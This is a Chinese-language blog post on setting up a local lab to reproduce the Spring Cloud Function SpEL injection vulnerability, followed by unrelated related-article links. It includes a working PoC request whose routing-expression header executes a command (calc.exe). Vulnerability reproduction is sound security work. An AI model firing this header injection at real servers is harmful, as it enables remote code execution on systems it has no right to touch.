Spring-Cloud-Function-Spel?漏洞環(huán)境搭建
1、漏洞環(huán)境搭建
由于漏洞出現(xiàn)在前兩天,原本等待vulhub出環(huán)境,直接docker 一鍵就ok了。但是這次vulhub好像不太及時(shí)。對(duì)于自己只能自己搭建環(huán)境了。
找了許久,終于在唐大佬的github中找到幾乎一鍵的方法。
參考鏈接:https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel 這里放原始鏈接以表示尊重。
無法上github的話,私信我。
搭建方法很簡單,先安裝maven jdk 等。大佬是jdk17 我本地下載最新版本18 也是ok
方法如下:下載代碼后,在解壓目錄cmd執(zhí)行 mvn spring-boot:run 會(huì)下載很多庫,需要耐心等待。成功后會(huì)開啟8080 端口。
漏洞poc極其簡單:
路徑最好使用funtionRouter,原因自查。此環(huán)境倒是任意路徑都o(jì)k。
POST /functionRouter HTTP/1.1
Host: 192.168.1.7:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞驗(yàn)證:
到此這篇關(guān)于Spring-Cloud-Function-Spel 漏洞復(fù)現(xiàn)的文章就介紹到這了,更多相關(guān)Spring-Cloud-Function-Spel 漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SpringBoot接入釘釘自定義機(jī)器人預(yù)警通知
本文主要介紹了SpringBoot接入釘釘自定義機(jī)器人預(yù)警通知,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-07-07java中synchronized(同步代碼塊和同步方法)詳解及區(qū)別
這篇文章主要介紹了 java中synchronized(同步代碼塊和同步方法)詳解及區(qū)別的相關(guān)資料,需要的朋友可以參考下2017-02-02java中的Io(input與output)操作總結(jié)(一)
所謂IO,也就是Input與Output的縮寫。在java中,IO涉及的范圍比較大,這里主要討論針對(duì)文件內(nèi)容的讀寫,感興趣的朋友可以了解下2013-01-01mybatis自動(dòng)生成@Table、@Column、@Id注解的方法
這篇文章主要介紹了mybatis自動(dòng)生成@Table、@Column、@Id注解的方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-12-12